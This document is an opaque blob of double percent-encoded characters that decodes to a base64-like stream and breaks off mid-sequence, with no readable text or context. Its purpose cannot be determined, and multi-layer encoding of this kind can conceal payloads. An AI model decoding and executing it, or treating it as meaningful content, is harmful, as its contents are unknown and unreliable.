%34%66%25%33%38%25%36%39%25%36%37%25%37%39%25%35%32%25%35%33%25%36%38%25%37%33%25%34%35%25%36%34%25%33%36%25%36%63%25%33%33%25%35%61%25%34%36%25%35%34%25%33%38%25%35%39%25%34%39%25%36%65%25%35%35%25%34%35%25%37%34%25%33%37%25%37%38%25%34%39%25%34%36%25%35%39%25%37%31%25%36%61%25%33%33%25%35%34%25%34%66%25%34%32%25%36%37%25%37%61%25%34%33%25%34%38%25%37%33%25%36%36%25%36%31%25%35%31%25%35%31%25%36%31%25%34%32%25%36%35%25%35%31%25%35%61%25%33%36%25%35%39%25%34%34%25%36%34%25%34%62%25%37%36%25%37%33%25%34%63%25%35%32%25%33%32%25%35%37%25%34%65%25%37%37%25%35%32%25%34%37%25%37%30%25%36%39%25%35%39%25%35%35%25%37%34%25%33%39%25%36%61%25%35%30%25%36%34%25%37%33%25%35%36%25%34%66%25%37%36%25%34%33%25%37%35%25%33%39%25%36%66%25%36%31%25%35%34%25%36%36%25%36%38%25%35%33%25%34%31%25%34%37%25%36%39%25%35%33%25%34%32%25%34%39%25%36%31%25%34%36%25%34%62%25%34%61%25%34%36%25%37%34%25%33%32%25%36%37%25%35%34%25%37%30%25%34%32%25%34%39%25%34%31%25%37%37%25%33%37%25%34%36%25%35%32%25%36%62%25%36%64%25%33%35%25%35%31%25%35%30%25%35%38%25%35%31%25%34%32%25%36%37%25%34%61%25%35%32%25%36%35%25%34%32%25%34%37%25%32%66%25%36%39%25%36%64%25%34%37%25%34%66%25%33%32%25%36%66%25%34%35%25%34%31%25%36%32%25%36%63%25%35%35%25%36%66%25%36%38%25%34%61%25%36%36%25%36%63%25%36%34%25%37%31%25%34%37%25%33%39%25%37%61%25%37%30%25%35%36%25%34%38%25%36%32%25%35%38%25%37%37%25%35%37%25%33%34%25%34%37%25%36%31%25%36%38%25%36%38%25%34%61%25%34%62%25%34%32%25%34%63%25%33%30%25%36%66%25%37%37%25%34%66%25%34%66%25%34%37%25%35%32%25%36%32%25%36%35%25%36%64%25%36%37%25%36%64%25%37%36%25%37%38%25%35%30%25%35%38%25%36%32%25%36%64%25%37%36%25%33%32%25%34%66%25%37%37%25%34%63%25%37%31%25%34%66%25%36%64%25%34%33%25%34%36%25%33%32%25%34%61%25%34%63%25%35%34%25%35%36%25%34%33%25%35%35%25%33%32%25%33%34%25%37%39%25%35%36%25%35%32%25%32%66%25%32%66%25%37%35%25%34%64%25%34%61%25%37%37%25%34%62%25%35%39%25%36%31%25%36%36%25%36%64%25%33%33%25%37%61%25%33%33%25%33%31%25%33%32%25%36%39%25%32%66%25%34%33%25%36%32%25%34%38%25%33%38%25%34%61%25%36%33%25%34%31%25%35%38%25%34%36%25%35%39%25%37%38%25%37%36%25%37%37%25%34%38%25%36%37%25%35%37%25%36%66%25%34%37%25%37%61%25%32%62%25%35%37%25%32%66%25%33%37%25%37%32%25%37%34%25%37%61%25%35%35%25%34%39%25%35%39%25%34%33%25%34%33%25%34%31%25%35%31%25%34%31%25%34%33%25%32%66%25%37%35%25%37%31%25%32%66%25%34%33%25%36%33%25%36%61%25%35%38%25%33%31%25%34%64%25%37%36%25%33%39%25%37%35%25%36%33%25%36%61%25%33%31%25%35%38%25%33%30%25%37%38%25%36%65%25%33%30%25%32%62%25%37%34%25%37%36%25%34%61%25%37%37%25%34%37%25%33%32%25%34%33%25%33%36%25%33%39%25%36%63%25%33%31%25%35%39%25%33%35%25%34%33%25%33%31%25%36%63%25%37%32%25%37%34%25%34%35%25%37%33%25%35%31%25%36%61%25%37%31%25%35%31%25%33%32%25%33%38%25%37%30%25%36%36%25%33%36%25%34%62%25%32%66%25%37%31%25%34%34%25%33%31%25%36%39%25%32%62%25%36%39%25%37%31%25%33%39%25%33%38%25%35%39%25%36%64%25%37%35%25%35%31%25%36%36%25%33%30%25%34%61%25%34%37%25%37%33%25%37%30%25%35%34%25%32%66%25%35%39%25%33%33%25%35%34%25%35%61%25%34%61%25%33%30%25%34%36%25%35%33%25%34%66%25%36%39%25%36%34%25%37%36%25%37%35%25%37%61%25%36%39%25%35%38%25%37%61%25%36%63%25%36%38%25%32%66%25%36%64%25%37%36%25%37%31%25%35%39%25%34%61%25%36%63%25%35%38%25%34%65%25%36%31%25%36%31%25%36%66%25%36%36%25%34%39%25%36%31%25%36%62%25%36%63%25%37%31%25%35%61%25%33%30%25%37%33%25%36%66%25%36%32%25%37%31%25%35%39%25%35%35%25%36%37%25%35%37%25%34%31%25%36%64%25%36%32%25%37%32%25%33%38%25%35%36%25%36%65%25%32%62%25%35%36%25%35%37%25%33%31%25%35%31%25%36%62%25%33%35%25%37%37%25%35%32%25%34%32%25%34%39%25%36%66%25%32%66%25%37%32%25%35%35%25%33%37%25%33%39%25%34%64%25%35%38%25%34%36%25%37%32%25%34%31%25%35%32%25%36%63%25%36%33%25%37%30%25%35%36%25%35%61%25%36%32%25%37%34%25%34%38%25%34%62%25%34%62%25%37%30%25%35%30%25%34%61%25%35%38%25%34%38%25%36%61%25%36%65%25%35%32%25%34%38%25%36%32%25%37%39%25%35%38%25%36%32%25%35%37%25%34%66%25%37%31%25%34%31%25%36%66%25%34%64%25%37%31%25%34%32%25%37%31%25%34%34%25%37%32%25%34%35%25%37%34%25%34%64%25%35%61%25%35%31%25%33%35%25%35%31%25%37%34%25%36%35%25%35%36%25%34%31%25%35%34%25%36%38%25%36%38%25%33%38%25%33%38%25%34%32%25%34%36%25%37%61%25%36%39%25%36%32%25%36%31%25%36%35%25%36%35%25%35%30%25%33%38%25%36%64%25%34%62%25%34%66%25%33%33%25%37%37%25%34%31%25%36%35%25%36%64%25%33%33%25%35%30%25%37%61%25%36%62%25%33%31%25%36%66%25%37%32%25%36%35%25%37%33%25%34%64%25%35%32%25%35%37%25%37%36%25%37%31%25%34%63%25%35%39%25%34%36%25%35%61%25%35%35%25%32%66%25%36%65%25%37%39%25%33%38%25%33%30%25%35%32%25%34%34%25%36%35%25%33%34%25%37%38%25%36%32%25%37%32%25%37%35%25%35%31%25%37%36%25%36%61%25%36%31%25%36%38%25%34%36%25%34%62%25%33%35%25%36%32%25%36%62%25%36%65%25%35%34%25%35%61%25%34%32%25%37%36%25%33%38%25%33%32%25%37%61%25%36%66%25%36%62%25%36%32%25%37%30%25%37%34%25%37%35%25%36%36%25%33%34%25%37%38%25%35%37%25%34%65%25%34%65%25%33%34%25%36%39%25%33%37%25%37%37%25%34%39%25%33%32%25%33%34%25%34%66%25%33%34%25%37%31%25%36%38%25%34%37%25%33%39%25%35%34%25%37%34%25%33%39%25%33%31%25%34%35%25%33%37%25%37%36%25%35%34%25%36%61%25%36%34%25%35%30%25%35%34%25%36%63%25%33%36%25%33%35%25%33%30%25%35%33%25%34%33%25%33%33%25%34%38%25%36%34%25%35%37%25%34%31%25%37%32%25%36%64%25%37%61%25%36%33%25%37%32%25%36%38%25%35%31%25%35%36%25%35%35%25%36%64%25%37%32%25%35%34%25%34%66%25%36%66%25%33%34%25%34%61%25%33%36%25%33%37%25%35%34%25%37%35%25%34%66%25%34%33%25%36%32%25%34%62%25%33%32%25%34%38%25%34%66%25%35%32%25%33%36%25%37%36%25%36%33%25%36%63%25%35%38%25%33%32%25%36%36%25%35%37%25%37%37%25%34%33%25%35%30%25%33%32%25%37%30%25%34%64%25%35%39%25%33%33%25%35%36%25%37%36%25%35%61%25%36%61%25%33%34%25%34%35%25%33%36%25%34%66%25%35%35%25%36%35%25%35%30%25%35%39%25%34%33%25%36%64%25%33%30%25%33%34%25%36%64%25%34%31%25%36%65%25%34%64%25%33%36%25%36%36%25%37%61%25%37%33%25%33%36%25%34%63%25%35%37%25%36%36%25%34%63%25%37%36%25%35%38%25%34%63%25%34%36%25%34%38%25%35%37%25%33%36%25%35%30%25%36%61%25%35%32%25%37%39%25%36%65%25%35%35%25%34%63%25%33%32%25%36%31%25%33%32%25%34%65%25%35%32%25%36%66%25%34%36%25%34%36%25%33%34%25%35%35%25%36%31%25%33%38%25%35%37%25%34%35%25%34%63%25%34%31%25%37%61%25%32%66%25%36%64%25%35%61%25%36%33%25%35%32%25%34%36%25%34%64%25%37%30%25%37%38%25%35%61%25%35%32%25%34%66%25%35%36%25%37%39%25%34%63%25%36%39%25%33%37%25%36%62%25%32%66%25%37%36%25%36%35%25%36%37%25%34%66%25%34%34%25%33%31%25%36%35%25%33%35%25%37%39%25%37%31%25%35%34%25%34%36%25%33%36%25%37%33%25%35%39%25%33%31%25%37%32%25%36%61%25%34%63%25%37%34%25%35%36%25%36%32%25%34%62%25%34%63%25%35%30%25%32%62%25%33%32%25%36%63%25%34%39%25%37%35%25%37%35%25%34%65%25%36%38%25%34%35%25%34%39%25%36%37%25%36%34%25%37%36%25%37%33%25%37%34%25%36%36%25%36%39%25%36%62%25%36%62%25%34%36%25%37%39%25%33%39%25%35%31%25%37%36%25%37%30%25%36%35%25%33%39%25%32%66%25%34%64%25%34%37%25%34%65%25%36%36%25%34%64%25%36%37%25%34%37%25%37%35%25%33%36%25%36%36%25%33%36%25%35%39%25%33%37%25%36%33%25%35%35%25%36%38%25%35%39%25%36%66%25%33%30%25%33%39%25%36%37%25%36%64%25%33%35%25%34%61%25%34%64%25%34%64%25%37%38%25%36%34%25%34%38%25%34%37%25%33%31%25%37%61%25%34%36%25%34%62%25%34%31%25%33%31%25%36%36%25%35%32%25%36%35%25%33%39%25%34%66%25%34%64%25%36%33%25%36%63%25%33%32%25%36%38%25%34%35%25%34%32%25%33%30%25%37%30%25%35%32%25%36%39%25%34%35%25%34%35%25%34%64%25%36%66%25%34%39%25%34%37%25%33%37%25%36%39%25%34%64%25%33%38%25%34%39%25%34%63%25%36%32%25%37%38%25%34%65%25%34%37%25%34%64%25%34%35%25%36%39%25%36%63%25%37%34%25%34%39%25%35%61%25%37%34%25%36%33%25%34%31%25%33%39%25%37%33%25%37%35%25%36%62%25%37%39%25%34%63%25%37%37%25%33%38%25%34%31%25%34%62%25%37%35%25%37%31%25%34%63%25%34%32%25%33%36%25%35%37%25%37%61%25%33%30%25%33%32%25%33%30%25%35%32%25%33%30%25%34%34%25%34%35%25%36%64%25%33%30%25%34%38%25%35%32%25%36%65%25%35%31%25%37%37%25%34%32%25%34%31%25%34%32%25%35%39%25%36%31%25%36%35%25%37%37%25%34%32%25%34%36%25%34%31%25%33%31%25%36%38%25%37%38%25%34%38%25%37%33%25%37%37%25%37%31%25%34%31%25%36%38%25%33%38%25%34%31%25%33%30%25%34%39%25%35%36%25%34%35%25%36%35%25%34%65%25%36%64%25%34%36%25%34%33%25%32%66%25%34%37%25%32%66%25%34%33%25%34%36%25%35%35%25%37%38%25%37%32%25%34%39%25%36%62%25%36%61%25%34%65%25%33%30%25%36%33%25%35%33%25%36%64%25%36%31%25%33%37%25%33%32%25%36%32%25%36%39%25%34%65%25%34%63%25%33%31%25%33%36%25%36%62%25%34%32%25%34%34%25%35%38%25%34%34%25%36%35%25%36%34%25%36%34%25%35%30%25%35%32%25%35%32%25%36%65%25%36%38%25%34%32%25%36%61%25%33%30%25%34%66%25%36%37%25%33%34%25%35%37%25%35%35%25%33%35%25%34%37%25%34%36%25%37%32%25%33%34%25%33%33%25%36%33%25%34%61%25%37%36%25%34%34%25%34%32%25%36%35%25%33%32%25%33%31%25%35%33%25%33%30%25%34%38%25%37%34%25%34%31%25%35%36%25%37%31%25%33%38%25%34%35%25%32%66%25%34%61%25%37%38%25%33%37%25%34%66%25%37%38%25%37%30%25%37%39%25%33%36%25%35%61%25%36%33%25%34%32%25%34%64%25%35%36%25%33%34%25%35%32%25%37%37%25%35%31%25%34%63%25%37%33%25%34%62%25%34%63%25%36%62%25%36%66%25%36%37%25%36%61%25%36%64%25%37%35%25%33%33%25%34%65%25%34%65%25%35%37%25%36%63%25%37%30%25%37%37%25%34%35%25%33%35%25%33%36%25%34%33%25%34%65%25%35%35%25%36%62%25%37%31%25%34%38%25%37%61%25%37%33%25%34%35%25%37%35%25%35%33%25%37%61%25%36%32%25%35%39%25%37%33%25%34%34%25%34%31%25%33%36%25%35%32%25%36%65%25%37%34%25%34%31%25%34%32%25%33%39%25%36%37%25%34%34%25%37%31%25%34%38%25%34%32%25%34%33%25%34%66%25%35%35%25%33%36%25%37%39%25%36%63%25%35%39%25%37%37%25%37%38%25%33%39%25%34%31%25%37%61%25%34%37%25%34%35%25%37%61%25%36%33%25%36%66%25%35%31%25%35%33%25%34%37%25%36%37%25%34%62%25%34%36%25%34%32%25%36%39%25%36%64%25%35%36%25%33%34%25%33%36%25%36%66%25%33%36%25%33%34%25%35%36%25%37%36%25%34%37%25%36%64%25%35%31%25%34%62%25%36%37%25%33%32%25%33%31%25%36%39%25%36%38%25%37%33%25%37%30%25%33%32%25%36%36%25%34%36%25%33%35%25%34%62%25%35%32%25%36%62%25%33%35%25%34%37%25%35%34%25%35%36%25%36%34%25%35%31%25%33%33%25%33%30%25%37%32%25%34%65%25%35%36%25%33%31%25%36%61%25%34%35%25%36%36%25%33%38%25%33%30%25%35%37%25%36%38%25%37%35%25%34%64%25%35%33%25%37%37%25%34%36%25%35%32%25%37%39%25%36%33%25%36%36%25%36%62%25%33%38%25%36%35%25%36%31%25%37%32%25%34%34%25%33%36%25%36%61%25%36%64%25%36%63%25%34%36%25%36%63%25%34%33%25%33%32%25%36%37%25%34%34%25%34%39%25%33%32%25%32%66%25%34%39%25%37%39%25%34%37%25%34%31%25%36%34%25%35%36%25%36%66%25%33%35%25%36%62%25%33%34%25%34%64%25%34%66%25%36%62%25%37%61%25%37%39%25%36%31%25%36%64%25%35%36%25%34%61%25%35%31%25%36%64%25%35%61%25%37%37%25%36%34%25%36%64%25%34%31%25%35%37%25%34%37%25%36%36%25%37%31%25%36%38%25%35%33%25%36%32%25%35%39%25%36%31%25%32%62%25%34%33%25%36%39%25%33%39%25%36%39%25%37%38%25%35%33%25%37%36%25%34%39%25%34%62%25%34%64%25%36%62%25%36%66%25%35%36%25%34%34%25%36%34%25%36%66%25%37%35%25%36%38%25%37%31%25%35%35%25%34%39%25%34%65%25%37%33%25%34%39%25%34%37%25%36%65%25%34%33%25%32%62%25%34%36%25%36%61%25%35%35%25%37%38%25%35%33%25%35%34%25%35%38%25%33%37%25%34%32%25%34%65%25%34%37%25%36%63%25%37%32%25%34%39%25%33%34%25%37%36%25%35%32%25%37%30%25%34%39%25%35%31%25%37%37%25%34%31%25%35%30%25%32%62%25%33%33%25%34%35%25%37%32%25%36%37%25%32%62%25%35%30%25%34%39%25%37%35%25%34%63%25%34%39%25%37%39%25%34%39%25%37%33%25%36%66%25%37%31%25%34%33%25%36%39%25%36%66%25%35%37%25%34%65%25%36%37%25%35%39%25%36%64%25%34%38%25%36%61%25%33%34%25%34%66%25%37%31%25%33%31%25%33%33%25%32%66%25%35%35%25%36%36%25%36%61%25%33%35%25%36%39%25%34%35%25%35%36%25%34%33%25%35%39%25%33%35%25%34%61%25%35%32%25%35%37%25%34%34%25%36%34%25%34%32%25%36%62%25%37%39%25%35%61%25%36%33%25%36%64%25%35%32%25%37%31%25%33%30%25%34%33%25%36%38%25%34%39%25%37%33%25%35%36%25%34%62%25%36%63%25%34%62%25%37%34%25%35%31%25%37%31%25%35%35%25%37%31%25%34%65%25%34%66%25%37%36%25%35%36%25%34%32%25%37%61%25%35%34%25%35%34%25%36%32%25%36%65%25%34%34%25%35%30%25%35%37%25%35%31%25%36%66%25%37%33%25%37%34%25%33%36%25%36%33%25%35%38%25%33%36%25%35%32%25%36%31%25%37%35%25%37%34%25%37%34%25%36%34%25%33%35%25%34%37%25%36%64%25%37%38%25%34%39%25%36%62%25%35%31%25%36%62%25%34%61%25%34%32%25%35%33%25%37%37%25%34%39%25%33%32%25%34%38%25%36%62%25%36%31%25%37%39%25%34%36%25%34%62%25%36%65%25%35%33%25%35%39%25%34%66%25%34%38%25%36%37%25%34%35%25%35%32%25%34%33%25%35%32%25%36%35%25%36%38%25%37%34%25%35%61%25%34%66%25%36%37%25%36%66%25%37%31%25%34%37%25%37%32%25%36%66%25%34%64%25%34%34%25%34%35%25%37%37%25%37%33%25%36%32%25%34%32%25%37%38%25%36%33%25%37%36%25%34%38%25%33%34%25%37%32%25%36%61%25%35%39%25%34%33%25%35%31%25%36%39%25%34%61%25%36%39%25%34%35%25%35%36%25%34%33%25%35%39%25%35%61%25%34%66%25%35%31%25%35%35%25%36%63%25%34%36%25%36%32%25%35%35%25%37%33%25%34%37%25%36%37%25%36%37%25%35%35%25%34%32%25%36%62%25%36%33%25%36%37%25%35%35%25%35%37%25%36%37%25%34%64%25%34%65%25%37%31%25%33%35%25%36%33%25%35%30%25%34%39%25%34%36%25%34%39%25%34%39%25%36%63%25%34%66%25%36%66%25%34%65%25%34%34%25%37%31%25%34%34%25%37%39%25%35%38%25%34%61%25%37%37%25%36%34%25%34%38%25%34%61%25%33%32%25%36%33%25%35%38%25%35%36%25%37%61%25%33%39%25%32%66%25%34%34%25%33%30%25%33%38%25%37%36%25%36%32%25%37%38%25%33%39%25%36%36%25%34%65%25%37%36%25%37%31%25%33%35%25%36%36%25%34%34%25%33%35%25%36%36%25%34%35%25%35%34%25%33%36%25%36%38%25%35%33%25%34%62%25%36%62%25%37%35%25%37%35%25%35%32%25%35%33%25%34%37%25%35%36%25%37%39%25%36%38%25%36%32%25%34%62%25%36%63%25%35%30%25%37%32%25%35%36%25%34%37%25%33%32%25%33%31%25%32%62%25%36%34%25%36%37%25%34%34%25%34%34%25%35%34%25%35%39%25%34%34%25%35%31%25%34%32%25%32%62%25%32%62%25%34%31%25%35%38%25%34%35%25%34%32%25%35%31%25%35%33%25%34%36%25%36%38%25%34%36%25%37%34%25%36%66%25%36%62%25%35%38%25%36%39%25%34%35%25%37%30%25%34%61%25%35%33%25%33%30%25%36%61%25%34%62%25%37%39%25%36%33%25%37%36%25%34%39%25%34%62%25%36%39%25%36%62%25%37%32%25%34%62%25%33%33%25%35%37%25%37%34%25%34%33%25%35%36%25%35%35%25%33%31%25%36%34%25%35%31%25%33%31%25%34%65%25%34%63%25%35%37%25%33%30%25%36%35%25%35%38%25%37%38%25%36%35%25%33%37%25%33%33%25%35%36%25%37%36%25%35%34%25%33%30%25%34%34%25%35%31%25%37%39%25%34%65%25%36%61%25%34%35%25%33%31%25%34%64%25%37%61%25%36%33%25%37%37%25%37%34%25%34%63%25%34%62%25%33%32%25%37%33%25%36%32%25%35%37%25%37%61%25%37%34%25%33%37%25%34%32%25%33%30%25%36%33%25%36%65%25%35%61%25%37%38%25%36%34%25%35%38%25%34%65%25%33%33%25%36%33%25%36%35%25%33%39%25%35%33%25%34%66%25%37%30%25%33%35%25%36%35%25%33%33%25%34%31%25%33%34%25%36%35%25%34%66%25%34%38%25%34%34%25%37%34%25%37%38%25%33%36%25%37%33%25%37%39%25%33%35%25%34%33%25%33%35%25%36%35%25%37%35%25%35%38%25%34%63%25%37%34%25%37%38%25%33%36%25%33%38%25%33%36%25%33%39%25%34%32%25%33%34%25%32%62%25%36%35%25%35%30%25%34%38%25%37%36%25%37%38%25%33%36%25%36%37%25%33%30%25%34%35%25%36%38%25%36%62%25%34%32%25%36%38%25%36%33%25%34%35%25%35%33%25%35%30%25%34%39%25%33%31%25%34%36%25%36%66%25%34%34%25%34%32%25%36%31%25%34%38%25%34%61%25%37%38%25%34%32%25%34%63%25%36%33%25%34%65%25%37%31%25%33%38%25%36%36%25%37%61%25%34%62%25%34%36%25%35%33%25%37%31%25%34%64%25%37%61%25%36%64%25%34%33%25%37%38%25%32%66%25%32%62%25%34%65%25%34%65%25%36%36%25%32%66%25%37%36%25%36%31%25%35%30%25%36%36%25%32%66%25%33%31%25%36%65%25%33%33%25%34%39%25%35%33%25%33%33%25%33%33%25%36%65%25%36%65%25%37%36%25%36%37%25%33%34%25%32%66%25%36%35%25%34%39%25%37%39%25%34%34%25%34%61%25%36%39%25%37%31%25%37%32%25%37%30%25%36%38%25%36%64%25%36%65%25%35%61%25%36%61%25%37%35%25%37%36%25%33%35%25%36%65%25%34%35%25%37%61%25%34%66%25%34%62%25%33%35%25%35%31%25%37%31%25%37%34%25%35%35%25%36%31%25%37%32%25%33%30%25%37%38%25%37%35%25%34%64%25%37%30%25%36%62%25%35%39%25%34%33%25%35%38%25%35%31%25%36%33%25%35%34%25%35%32%25%36%63%25%33%33%25%35%35%25%33%33%25%35%34%25%34%64%25%33%34%25%36%37%25%34%33%25%35%32%25%36%33%25%34%39%25%33%30%25%34%66%25%33%31%25%35%33%25%35%36%25%33%32%25%37%31%25%35%35%25%35%32%25%36%33%25%37%33%25%37%34%25%36%61%25%33%35%25%37%31%25%33%31%25%34%65%25%35%36%25%33%35%25%36%62%25%34%36%25%35%37%25%36%39%25%33%39%25%35%33%25%34%64%25%33%36%25%33%30%25%32%66%25%33%38%25%35%32%25%36%66%25%36%31%25%36%62%25%32%66%25%36%31%25%33%32%25%37%38%25%33%37%25%37%32%25%34%62%25%33%39%25%35%31%25%36%61%25%37%33%25%36%64%25%36%65%25%35%32%25%35%32%25%36%63%25%34%34%25%36%37%25%33%39%25%33%39%25%36%36%25%36%61%25%34%62%25%33%36%25%35%35%25%36%63%25%36%32%25%34%63%25%33%39%25%34%64%25%36%38%25%36%66%25%37%39%25%36%64%25%34%65%25%34%36%25%34%34%25%34%34%25%36%38%25%32%62%25%34%32%25%34%37%25%36%66%25%33%37%25%34%38%25%36%38%25%37%32%25%34%65%25%34%35%25%35%61%25%35%37%25%35%30%25%34%32%25%35%61%25%34%34%25%37%34%25%37%39%25%35%36%25%36%63%25%33%36%25%37%32%25%34%37%25%35%61%25%36%34%25%37%33%25%34%37%25%33%35%25%37%35%25%37%34%25%32%62%25%37%30%25%36%65%25%36%38%25%35%35%25%37%35%25%36%62%25%33%36%25%33%34%25%33%38%25%36%31%25%36%64%25%34%62%25%34%37%25%36%31%25%35%33%25%36%31%25%37%37%25%35%38%25%35%35%25%33%36%25%34%62%25%32%62%25%33%38%25%36%64%25%34%66%25%37%37%25%37%38%25%35%31%25%33%31%25%34%65%25%37%35%25%33%32%25%34%31%25%37%30%25%34%39%25%35%35%25%33%31%25%35%30%25%35%37%25%36%39%25%36%34%25%34%33%25%35%31%25%37%30%25%36%62%25%33%31%25%36%33%25%37%61%25%35%35%25%37%61%25%34%65%25%34%61%25%34%66%25%37%32%25%36%39%25%33%34%25%34%39%25%35%33%25%36%61%25%34%32%25%35%39%25%35%35%25%34%36%25%33%35%25%36%63%25%35%39%25%33%34%25%36%66%25%34%39%25%35%35%25%36%34%25%34%39%25%33%39%25%33%31%25%35%36%25%34%36%25%36%37%25%37%35%25%34%36%25%33%38%25%37%30%25%35%30%25%33%30%25%35%30%25%35%32%25%34%37%25%35%39%25%34%39%25%33%39%25%33%31%25%33%37%25%34%36%25%34%62%25%36%33%25%35%61%25%35%36%25%36%61%25%34%65%25%36%31%25%34%32%25%37%61%25%34%63%25%36%38%25%33%39%25%35%30%25%34%63%25%34%64%25%35%34%25%37%31%25%33%32%25%35%35%25%34%37%25%37%33%25%34%38%25%34%65%25%36%38%25%34%61%25%33%33%25%33%31%25%37%32%25%36%62%25%37%37%25%36%62%25%33%31%25%32%66%25%37%31%25%35%35%25%33%30%25%36%36%25%37%32%25%35%37%25%36%38%25%34%37%25%34%65%25%36%61%25%33%34%25%35%61%25%34%65%25%37%32%25%37%30%25%34%62%25%34%38%25%33%37%25%36%38%25%34%66%25%35%35%25%36%63%25%33%36%25%37%39%25%36%38%25%35%34%25%35%38%25%37%35%25%36%62%25%35%61%25%33%37%25%35%38%25%35%61%25%34%32%25%33%37%25%36%31%25%37%39%25%37%37%25%34%35%25%34%33%25%35%34%25%34%66%25%34%66%25%37%30%25%35%39%25%33%35%25%35%31%25%37%30%25%33%33%25%37%35%25%36%33%25%34%61%25%36%34%25%33%37%25%36%32%25%32%66%25%37%61%25%34%66%25%36%66%25%33%36%25%36%61%25%34%33%25%33%39%25%34%31%25%37%38%25%37%30%25%36%38%25%33%35%25%33%33%25%34%34%25%35%33%25%34%38%25%34%64%25%36%64%25%36%36%25%36%62%25%34%34%25%36%61%25%36%36%25%35%37%25%35%38%25%37%38%25%35%33%25%33%33%25%34%64%25%37%36%25%35%61%25%34%36%25%35%32%25%33%32%25%33%30%25%35%39%25%37%39%25%34%34%25%36%38%25%33%32%25%36%32%25%37%38%25%36%66%25%35%38%25%37%36%25%35%35%25%35%31%25%32%66%25%35%38%25%33%38%25%33%34%25%35%35%25%37%36%25%34%32%25%35%30%25%34%61%25%35%32%25%33%38%25%37%31%25%34%61%25%36%66%25%35%33%25%37%37%25%36%33%25%34%39%25%36%61%25%37%61%25%36%38%25%35%34%25%37%30%25%33%34%25%35%61%25%36%64%25%37%35%25%36%65%25%36%61%25%32%62%25%33%34%25%36%33%25%35%32%25%36%33%25%33%39%25%32%66%25%35%37%25%34%39%25%35%61%25%34%64%25%33%34%25%34%33%25%36%35%25%36%34%25%36%62%25%37%33%25%33%38%25%36%36%25%35%39%25%33%34%25%32%62%25%34%62%25%35%31%25%36%32%25%33%38%25%36%63%25%36%37%25%35%35%25%33%31%25%33%39%25%34%33%25%34%62%25%33%38%25%34%65%25%32%66%25%33%37%25%35%33%25%35%37%25%36%34%25%33%32%25%36%38%25%37%35%25%33%31%25%34%37%25%34%39%25%35%35%25%34%61%25%37%31%25%37%35%25%37%37%25%34%62%25%37%36%25%37%31%25%37%32%25%36%34%25%36%61%25%37%32%25%32%66%25%33%36%25%33%31%25%37%38%25%34%39%25%36%35%25%35%36%25%34%37%25%35%31%25%36%33%25%32%66%25%37%32%25%35%39%25%35%35%25%35%34%25%36%34%25%36%64%25%36%61%25%34%65%25%34%33%25%34%35%25%36%34%25%36%34%25%33%37%25%34%31%25%32%62%25%32%62%25%36%61%25%33%34%25%35%33%25%33%35%25%36%38%25%34%65%25%34%64%25%37%30%25%37%33%25%35%32%25%34%31%25%35%33%25%33%39%25%34%39%25%35%39%25%34%61%25%33%34%25%34%36%25%34%63%25%35%33%25%35%61%25%34%31%25%36%32%25%34%33%25%35%32%25%35%35%25%34%63%25%36%37%25%34%31%25%35%33%25%33%31%25%34%66%25%34%31%25%34%36%25%32%62%25%34%33%25%34%34%25%33%31%25%36%64%25%36%39%25%32%62%25%35%37%25%36%62%25%36%38%25%34%31%25%36%35%25%33%35%25%32%62%25%34%64%25%37%36%25%36%39%25%35%33%25%33%31%25%36%34%25%36%34%25%34%36%25%36%38%25%37%33%25%34%33%25%37%38%25%33%30%25%36%32%25%35%38%25%36%39%25%34%64%25%36%33%25%37%33%25%35%30%25%37%37%25%34%62%25%36%62%25%35%61%25%37%36%25%37%38%25%36%66%25%35%33%25%34%38%25%35%34%25%34%65%25%37%33%25%34%34%25%33%36%25%37%38%25%35%30%25%35%33%25%33%32%25%34%65%25%33%39%25%32%66%25%36%35%25%35%39%25%35%39%25%36%37%25%37%35%25%33%39%25%36%35%25%35%36%25%35%38%25%35%34%25%33%32%25%37%61%25%33%39%25%33%31%25%34%33%25%35%34%25%36%61%25%35%31%25%37%32%25%35%30%25%34%33%25%34%61%25%36%31%25%34%39%25%34%31%25%37%39%25%35%33%25%33%38%25%34%35%25%35%38%25%34%34%25%33%33%25%33%31%25%34%36%25%34%31%25%34%35%25%34%36%25%37%37%25%33%34%25%35%37%25%37%36%25%36%38%25%37%38%25%34%65%25%36%32%25%32%62%25%34%61%25%37%32%25%33%32%25%36%62%25%35%33%25%33%35%25%33%37%25%34%66%25%36%62%25%36%36%25%35%31%25%34%63%25%37%32%25%35%38%25%37%38%25%37%31%25%34%61%25%36%37%25%36%61%25%34%62%25%34%31%25%37%33%25%33%36%25%35%36%25%34%32%25%34%32%25%37%61%25%34%66%25%33%35%25%37%61%25%36%32%25%37%61%25%37%39%25%37%37%25%37%36%25%35%61%25%36%35%25%35%32%25%35%35%25%34%65%25%34%33%25%34%37%25%34%32%25%32%66%25%36%61%25%32%62%25%35%30%25%36%37%25%35%39%25%36%39%25%33%36%25%34%39%25%33%30%25%34%31%25%33%33%25%33%31%25%37%33%25%36%38%25%34%62%25%34%37%25%36%37%25%36%33%25%37%32%25%36%31%25%35%33%25%36%65%25%35%39%25%35%31%25%33%38%25%34%33%25%35%31%25%36%37%25%37%33%25%36%63%25%35%39%25%36%37%25%36%62%25%36%66%25%34%38%25%34%31%25%34%61%25%37%39%25%37%30%25%36%61%25%36%66%25%34%63%25%34%61%25%35%38%25%35%33%25%36%37%25%34%31%25%37%38%25%36%64%25%33%30%25%34%32%25%35%34%25%37%32%25%33%30%25%34%34%25%37%61%25%34%36%25%35%31%25%35%32%25%34%34%25%36%63%25%34%62%25%36%38%25%35%34%25%36%36%25%33%34%25%37%36%25%36%62%25%34%37%25%33%30%25%33%37%25%36%34%25%34%39%25%37%39%25%37%37%25%37%35%25%34%63%25%37%34%25%33%30%25%33%30%25%34%64%25%33%37%25%35%39%25%36%64%25%35%39%25%37%32%25%33%37%25%32%62%25%33%33%25%35%36%25%33%37%25%36%64%25%35%30%25%33%39%25%36%37%25%36%65%25%35%33%25%34%38%25%34%34%25%32%66%25%32%62%25%34%33%25%33%30%25%34%66%25%35%34%25%36%65%25%33%39%25%34%34%25%32%66%25%34%32%25%34%64%25%35%31%25%37%36%25%35%30%25%36%32%25%34%39%25%34%65%25%37%34%25%36%33%25%35%33%25%35%33%25%34%38%25%33%32%25%35%39%25%34%35%25%34%38%25%36%36%25%37%33%25%36%64%25%37%35%25%36%65%25%35%39%25%36%37%25%34%63%25%37%30%25%36%32%25%36%31%25%36%37%25%35%38%25%36%32%25%36%38%25%34%33%25%34%35%25%35%32%25%36%37%25%34%62%25%36%39%25%33%38%25%36%37%25%33%38%25%34%32%25%37%61%25%37%36%25%34%63%25%35%31%25%34%62%25%37%32%25%35%36%25%36%39%25%35%32%25